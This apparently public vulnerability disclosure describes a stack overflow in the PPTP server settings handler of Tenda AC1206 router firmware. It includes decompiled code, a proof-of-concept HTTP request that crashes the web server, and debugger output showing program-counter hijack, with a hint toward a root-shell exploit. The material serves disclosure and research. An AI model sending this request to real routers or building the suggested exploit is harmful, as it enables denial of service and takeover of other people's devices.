

main ▾ vuln / Tenda / AC1206 / 17 /



Darry-lang1 Add files via upload ...

on Aug 5 ⌚ History

..



img

4 months ago



readme.md

4 months ago



readme.md

Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability

Overview

- Manufacturer's website information: <https://www.tenda.com.cn>
- Firmware download address : <https://www.tenda.com.cn/download/detail-2766.html>

Product Information

Tenda AC1206 V15.03.06.23, the latest version of simulation overview:



Vulnerability details

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the formSetPPTPServer function. An attacker can obtain a stable root shell through a carefully constructed payload.

```

25  errCode = CGI_OK;
26  *client_pptp_enable = 0;
27  *client_l2tp_enable = 0;
28  pptp_server_enable = websGetVar(wp, "serverEn", "1");
29  pptp_server_mppe = websGetVar(wp, "mppe", "1");
30  pptp_server_mppe_op = websGetVar(wp, "mppeOp", "128");
31  pptp_server_start_ip = websGetVar(wp, "startIp", byte_51EC74);
32  pptp_server_end_ip = websGetVar(wp, "endIp", byte_51EC74);
33  GetValue("wl2g.public.mode", wl24g_work_mode);
34  GetValue("wl5g.public.mode", wl5g_work_mode);
35  GetValue("vpn.cli.pptpEnable", client_pptp_enable);
36  GetValue("vpn.cli.l2tpEnable", client_l2tp_enable);
37  if ( !strcmp(wl24g_work_mode, "apclient") || !strcmp(wl5g_work_mode, "apclient") )
38  {
39      errCode = CGI_ERROR;
40  }
41  else
42  {
43      if ( !strcmp(pptp_server_enable, "0") )
44      {
45          SetValue("vpn.ser.pptpdEnable", pptp_server_enable);
46          if ( !strcmp(client_pptp_enable, "0") && !strcmp(client_l2tp_enable, "0") )
47              SetValue("inet_gro_disable", "0");
48      }
49      else
50      {
51          if ( strcmp(pptp_server_enable, "1") )
52          {
53              errCode = CGI_ERROR;
54              goto finish;
55          }
56          if ( !*pptp_server_start_ip || !*pptp_server_end_ip )
57          {
58              errCode = CGI_ERROR;
59              goto finish;
60          }
61          if ( sscanf(
62              pptp_server_start_ip,
63              "%[^.].%[^.].%[^.].%s",
64              pptp_server_start_each_ip,
65              pptp_server_start_each_ip[1],
66              pptp_server_start_each_ip[2],
67              pptp_server_start_each_ip[3]) != 4

```

In the `formSetPPTPServer` function, `pptp_server_start_ip` (the value of `startIp`) we entered is formatted using the `sscanf` function and in the form of `%[^.].%[^.].%[^.].%s`. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of `pptp_server_start_each_ip`, it will cause a stack overflow.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

```

POST /goform/SetPptpServerCfg HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101
Firefox/103.0
Accept: */*

```

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 12
Origin: http://192.168.0.1
DNT: 1
Connection: close
Referer: http://192.168.0.1/index.html
Cookie: ecos_pw=eee:language=cn

startIp=aaa



By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

The image displays two terminal windows side-by-side against a background of a yellow sports car.

Left Terminal Window:

```
D4rry@ubuntu:~/Desktop/tenda_US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin.extracted/squashfs-root$  
REMU: Terminated via GDBstub  
D4rry@ubuntu:~/Desktop/tenda_US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin.extracted/squashfs-root$ sudo chroot . ./bin/qemu-mpsel-static -g 1234 ./bin/httpd  
REMU: Terminated via GDBstub  
D4rry@ubuntu:~/Desktop/tenda_US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin.extracted/squashfs-root$ sudo chroot . ./bin/qemu-mpsel-static -g 1234 ./bin/httpd  
nit_core_dump 1917: rlim_cur = 0, rlim_max = 2147483647  
nit_core_dump 1926: open core dump success  
nit_core_dump 1935: rlim_cur = 5242880, rlim_max = 5242880
```

A faint watermark "penbug" is visible in the center of the left terminal window.

Right Terminal Window:

```
D4rry@ubuntu:~/Desktop/tenda_US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin.extracted/squashfs-root$  
V1 0x77777777 ('www')  
A0 0x100  
A1 0x76ffe738 ← 0xd  
A2 0x1  
A3 0x0  
T0 0x2010  
T1 0x560048 ← 0x0  
T2 0x21  
T3 0x432d6568 ('he-C')  
T4 0x72746e6f ('ontr')  
T5 0x203abc6f ('ol:')  
T6 0x632d6f6e ('no-e')  
T7 0x65686361 ('ache')  
T8 0x497  
T9 0x40bd80 (balloctet(size) ← addiu $sp, $sp, -0x18  
S0 0x40bf98 (.lntt) ← lui $gp, 0x14  
S1 0x40c020 (start) ← move $zero, $ra /* '! */  
S2 0x0  
S3 0x0  
S4 0x0  
S5 0x0  
S6 0x0  
S7 0x0  
S8 0x61616161 ('aaaa')  
FP 0x76ffea78 → 0x55c998 ← 0x0  
SP 0x76ffea78 → 0x55c998 ← 0x0  
PC 0x616161 [ DISASM ]  
Invalid address 0x616161
```

[STACK]

```
00:0000 | fp sp 0x76ffea78 → 0x55c998 ← 0x0  
01:0004 | 0x76ffea7c → 0x76ffea8 ← 'SetPtpServerCfg'  
02:0008 | 0x76ffea80 → 0x562688 ← 0x72617473 ('star')  
03:000c | 0x76ffea84 → 0x424d48 (valueString+148) ← lw $gp, 0x10($fp)  
04:0010 | 0x76ffea88 → 0x545b30 (temp_g0_sortTbl+21784) ← 0x0  
05:0014 | 0x76ffea8c → 0x40d2ba (balloct65z) ← lw $gp, 0x10($fp)  
06:0018 | 0x76ffea90 → 0x4dd0ac (formSetPTTPServer) ← lui $gp, 7  
07:001c | 0x76ffea94 → 0x76ffea8 ← 'SetPtpServerCfg'
```

[BACKTRACE]

```
► f 0 616161  
Program received signal SIGSEGV
```

As shown in the figure above, we can hijack PC registers.

```
/ # ls -l
total 48
drwxr-xr-x  2 1000    1000    4096 Aug  4 12:10 bin
drwxr-xr-x  2 1000    1000    4096 Sep  6 2017 dev
lrwxrwxrwx  1 1000    1000      8 Sep  6 2017 etc -> /var/etc
drwxr-xr-x  6 1000    1000    4096 Sep  6 2017 etc_ro
lrwxrwxrwx  1 1000    1000     9 Sep  6 2017 home -> /var/home
lrwxrwxrwx  1 1000    1000    11 Sep  6 2017 init -> bin/busybox
drwxr-xr-x  3 1000    1000    4096 Sep  6 2017 lib
drwxr-xr-x  2 1000    1000    4096 Sep  6 2017 mnt
drwxr-xr-x  3 1000    1000    4096 Aug  4 09:55 proc
lrwxrwxrwx  1 1000    1000     9 Sep  6 2017 root -> /var/root
drwxr-xr-x  2 1000    1000    4096 Sep  6 2017/sbin
drwxr-xr-x  2 1000    1000    4096 Sep  6 2017 sys
drwxr-xr-x  2 1000    1000    4096 Sep  6 2017 tmp
drwxr-xr-x  6 1000    1000    4096 Sep  6 2017 usr
drwxr-xr-x  6 1000    1000    4096 Aug  4 09:06 var
lrwxrwxrwx  1 1000    1000    12 Sep  6 2017 webroot -> /var/webroot
drwxr-xr-x  7 1000    1000    4096 Sep  6 2017 webroot_ro
/ #
```

Finally, you also can write `exp` to get a stable root shell.